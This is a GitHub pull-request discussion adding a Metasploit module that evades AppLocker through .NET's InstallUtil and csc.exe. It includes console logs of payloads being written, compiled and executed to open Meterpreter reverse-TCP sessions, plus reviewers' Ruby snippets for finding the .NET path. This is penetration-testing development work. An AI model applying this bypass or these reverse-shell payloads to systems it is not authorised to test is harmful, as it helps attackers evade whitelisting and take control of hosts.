Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add module for AppLocker bypass #6588

Merged
merged 3 commits into from Mar 2, 2016
Merged

Conversation

OJ
Copy link
Contributor

@OJ OJ commented Feb 18, 2016

This commit includes a new module that allows for payloads to be uploaded and executed from disk while bypassing AppLocker in the process. This module is useful for when you're attempting to generate new shells on the target once you've already got a session via other means. It is also a handy way of switching between 32 and 64 bit sessions (in the case of the InstallUtil technique).

The code is taken from Casey Smith's (@subTee) AppLocker bypass research (added in the references), and includes just one technique at this point. This technique uses the InstallUtil feature that comes with .NET. Other techniques can be added at any time.

The code creates a C# file and uploads it to the target. The csc.exe compiler is used to create a .NET assembly that contains an uninstaller that gets invoked by InstallUtil behind the scenes. This function is what contains the payload.

This was tested on Windows 7 x64. It supports running of both 32 and 64 bit payloads out of the box, and checks to make sure that .NET is installed on the target as well as having a payload that is valid for the machine (ie. don't run x64 on x86 OSes).

This appears to work fine with both staged and stageless payloads.

Sample Run

msf exploit(applocker_bypass) > sessions

Active sessions
===============

  Id  Type                   Information                             Connection
  --  ----                   -----------                             ----------
  1   meterpreter x86/win32  WIN-7CH5RT177BA\derp @ WIN-7CH5RT177BA  10.1.10.40:8000 -> 10.1.10.33:52334 (10.1.10.33)

msf exploit(applocker_bypass) > show options

Module options (exploit/windows/local/applocker_bypass):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   SESSION    1                yes       The session to run this module on.
   TECHNIQUE  INSTALLUTIL      yes       Technique to use to bypass AppLocker (Accepted: INSTALLUTIL)


Payload options (windows/x64/meterpreter_reverse_tcp):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   EXITFUNC    process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   EXTENSIONS                   no        Comma-separate list of extensions to load
   EXTINIT                      no        Initialization strings for extensions
   LHOST       10.1.10.40       yes       The listen address
   LPORT       8888             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows

msf exploit(applocker_bypass) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 10.1.10.40:8888 
[*] Running module against WIN-7CH5RT177BA
[*] Using .NET path C:\Windows\Microsoft.NET\Framework64\v4.0.30319
[*] Writing payload to C:\Users\derp\AppData\Local\Temp\zlFnuZbs.cs
[*] Compiling payload to C:\Users\derp\AppData\Local\Temp\msGUdeHB.exe
[*] Executing payload ...
[*] Meterpreter session 3 opened (10.1.10.40:8888 -> 10.1.10.33:52337) at 2016-02-18 13:46:19 +1000
[+] Deleted C:\Users\derp\AppData\Local\Temp\zlFnuZbs.cs
[*] Waiting 0s before file cleanup...
[!] This exploit may require manual cleanup of 'C:\Users\derp\AppData\Local\Temp\msGUdeHB.exe' on the target

meterpreter > sysinfo
Computer        : WIN-7CH5RT177BA
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/win64
meterpreter > exit
[*] Shutting down Meterpreter...

Verification

  • Get a instance of Windows 7 (or higher) Ultimate edition (this is required to enable AppLocker). Add a low-priv user to it.
  • Enable AppLocker and prevent the low-priv user from being able to run any binaries except those signed by Microsoft (typical AppLocker config). Lots of notes on how to do this on the web. I used this.
  • Launch a Meterpreter session using something like Powershell.
  • Run this module on the session with your payload of choice.

Notes

I have noticed that when using http/s payloads, inline handlers doesn't respond correctly (they hang). I honestly don't know what's going on here. However, if DisablePayloadHandler is set to true and an external listener is used, then things work just fine.

@subTee if I have missed any better references please let me know.

This commit includes a new module that allows for payloads to be
uploaded and executed from disk while bypassing AppLocker in the
process. This module is useful for when you're attempting to generate
new shells on the target once you've already got a session. It is also
a handy way of switching between 32 and 64 bit sessions (in the case of
the InstallUtil technique).

The code is taken from Casey Smith's AppLocker bypass research (added in
the references), and includes just one technique at this point. This
technique uses the InstallUtil feature that comes with .NET. Other
techiques can be added at any time.

The code creates a C# file and uploads it to the target. The csc.exe
compiler is used to create a .NET assembly that contains an uninstaller
that gets invoked by InstallUtil behind the scenes. This function is
what contains the payload.

This was tested on Windows 7 x64. It supports running of both 32 and 64
bit payloads out of the box, and checks to make sure that .NET is
installed on the target as well as having a payload that is valid for
the machine (ie. don't run x64 on x86 OSes).

This appears to work fine with both staged and stageless payloads.
# Run Method for when run command is issued
def exploit
if datastore['TECHNIQUE'] == 'INSTALLUTIL'
if payload.arch.first == 'x64' and !(sysinfo['Architecture'] =~ /64/)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Prefer && and !~.

@ghost
Copy link

ghost commented Feb 18, 2016

This looks great! No references missed. Let me know if you need any additional details. Great Work!

@OJ
Copy link
Contributor Author

OJ commented Feb 18, 2016

Cheers mate!

@void-in
Copy link
Contributor

void-in commented Feb 18, 2016

@OJ Excellent work as always. Just a little suggestion (hope I am not on crack).

def exploit
  if payload.arch.first == 'x64' && sysinfo['Architecture'] !~ /64/
      fail_with(Failure::NoTarget, 'The target platform is x86. 64-bit payloads are not supported.')
  end
  # sysinfo is only on meterpreter sessions
  print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
  if datastore['TECHNIQUE'] == 'INSTALLUTIL'
    execute_installutil
  end
end

@OJ
Copy link
Contributor Author

OJ commented Feb 18, 2016

Hi @void-in, is the suggestion to add the comment? The session type is currently listed as Meterpreter only, hence why I didn't think it was worth adding such a comment.

Am I missing something else?

Thanks!

@void-in
Copy link
Contributor

void-in commented Feb 19, 2016

@OJ Sorry I wasn't clear. You tested for if datastore['TECHNIQUE'] == 'INSTALLUTIL' twice and I thought we can test just once for the same functionality.

@OJ
Copy link
Contributor Author

OJ commented Feb 21, 2016

@void-in I guess I am paving the way for future techniques, where the print_status call will apply to all techniques. This is why there are checks both before and after.

@sempervictus
Copy link
Contributor

This is what #5393 is actually for - you dont need to call binaries or touch disk, this can be done neatly in memory via PSH, and you can deal with the architecture differences via the elevator/wrapper approach.

@OJ
Copy link
Contributor Author

OJ commented Feb 22, 2016 via email

@wchen-r7 wchen-r7 self-assigned this Mar 1, 2016
@wchen-r7
Copy link
Contributor

wchen-r7 commented Mar 1, 2016

Hmmm strange, my Win 7 with .Net doesn't have InstallUtil.exe:

screen shot 2016-03-01 at 11 41 42 am

I'll add this path check on my end and continue testing.

@wchen-r7
Copy link
Contributor

wchen-r7 commented Mar 1, 2016

And looks like it works:

msf exploit(applocker_bypass) > run

[*] Started reverse TCP handler on 192.168.1.199:5555 
[*] Running module against WIN-6NH0Q8CJQVM
[*] Using .NET path C:\Windows\Microsoft.NET\Framework\v4.0.30319
[*] Writing payload to C:\Users\sinn3r\AppData\Local\Temp\yGWarige.cs
[*] Compiling payload to C:\Users\sinn3r\AppData\Local\Temp\jHroVKMv.exe
[*] Executing payload ...
[*] Sending stage (957999 bytes) to 192.168.1.201
[*] Meterpreter session 5 opened (192.168.1.199:5555 -> 192.168.1.201:49160) at 2016-03-01 11:52:37 -0600
[+] Deleted C:\Users\sinn3r\AppData\Local\Temp\yGWarige.cs
[*] Waiting 0s before file cleanup...
[!] This exploit may require manual cleanup of 'C:\Users\sinn3r\AppData\Local\Temp\jHroVKMv.exe' on the target

meterpreter > 

@firefart
Copy link
Contributor

firefart commented Mar 1, 2016

@wchen-r7 you need to use it from \Microsoft.NET\Framework\v2.0.50727 or \Microsoft.NET\Framework64\v2.0.50727 because the CLR is 2.0. A lot of tools are only available in the 2.0 folder

@wchen-r7
Copy link
Contributor

wchen-r7 commented Mar 1, 2016

@firefart ah you're right. Found it.

@firefart
Copy link
Contributor

firefart commented Mar 1, 2016

@OJ @wchen-r7 I think the get_dotnet_path needs an update so 3.0 and 3.5 are not taken from the version list. It should take the last one with the binaries included. That's because of the CLR: https://en.wikipedia.org/wiki/Common_Language_Runtime
https://msdn.microsoft.com/en-us/library/8bs2ecf4%28v=vs.110%29.aspx

@wchen-r7
Copy link
Contributor

wchen-r7 commented Mar 1, 2016

@firefart I'll work on that.

@firefart
Copy link
Contributor

firefart commented Mar 1, 2016

@wchen-r7 maybe this blog post helps: https://msdn.microsoft.com/en-us/library/hh925568.aspx

But it contains no info about how to detect the latest clr available on the system :(

@firefart
Copy link
Contributor

firefart commented Mar 1, 2016

Here is also a mapping of .NET version <--> CLR. Maybe we should hardcode it?
https://msdn.microsoft.com/en-us/library/bb822049.aspx

@wchen-r7
Copy link
Contributor

wchen-r7 commented Mar 1, 2016

@firefart In that case maybe that part of the code should be in a mixin, and not on the module's level?

@firefart
Copy link
Contributor

firefart commented Mar 1, 2016

@wchen-r7 definitely a mixin. Just did a quick grep for the path and it seems like no other module is using hardcoded paths yet so only this module needs a change.

@wchen-r7
Copy link
Contributor

wchen-r7 commented Mar 1, 2016

@firefart OK cool. Writing that in a mixin might take a while. It seems #5393 is also related, so I imagine there's probably a bit more discussion on where this code should be, and how to do it. And then we write it, doc it, rspec it, wait for someone to review it, tweak some more, etc. I'm not sure if I can complete all that before the weekly release is closed... probably not. Is it okay with you I go ahead and just land this PR first (since it already works for me), file an issue on Github about turning #get_dotnet_path into a mixin, and then work on it? If you feel the mixin should be in this pull request, I can do that as well. Let me know. Thanks.

@firefart
Copy link
Contributor

firefart commented Mar 1, 2016

@wchen-r7 I think it's sufficient to do this in a seperate PR. We could just add some rudimentary checking into this version like this:

def get_dotnet_path(windir)
  base_path = "#{windir}\\Microsoft.NET\\Framework#{payload.arch.first == 'x86' ? '' : '64'}"
  paths = dir(base_path).select {|p| p[0] == 'v'}
  paths.reverse.each do |p|
    path = "#{base_path}\\#{p}"
    if directory?(path) && File.exist?("#{path}\\csc.exe")
      dotnet_path = path
      break
    end
  end

  unless dotnet_path
    fail_with(Failure::NotVulnerable, '.NET is not present on the target.')
  end

  dotnet_path
end

This should select the greatest version with csc.exe present ( = latest CLR)

@OJ
Copy link
Contributor Author

OJ commented Mar 1, 2016 via email

@OJ
Copy link
Contributor Author

OJ commented Mar 1, 2016 via email

@wchen-r7
Copy link
Contributor

wchen-r7 commented Mar 2, 2016

@firefart Thanks for the patch, but there is a slight problem. My .Net 3.5 directory happens to have csc.exe, but not InstallUtil.exe, so that patch wouldn't work for me. I think instead of looking for csc.exe, I'll just let it look for InstallUtil.exe. Other than that, code looks good, thanks again everyone.

@OJ
Copy link
Contributor Author

OJ commented Mar 2, 2016 via email

@firefart
Copy link
Contributor

firefart commented Mar 2, 2016

👍

@ghost
Copy link

ghost commented Mar 2, 2016

This is great to see! Excellent work.

@OJ OJ deleted the applocker-bypass branch March 2, 2016 13:25
@Meatballs1
Copy link
Contributor

n.b. this could have been implemented as a format for msfvenom?

@firefart
Copy link
Contributor

@OJ another method which could be implmented: http://www.theregister.co.uk/2016/04/22/applocker_bypass/

@OJ
Copy link
Contributor Author

OJ commented Apr 22, 2016

Yeah saw that. It's on the list :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

8 participants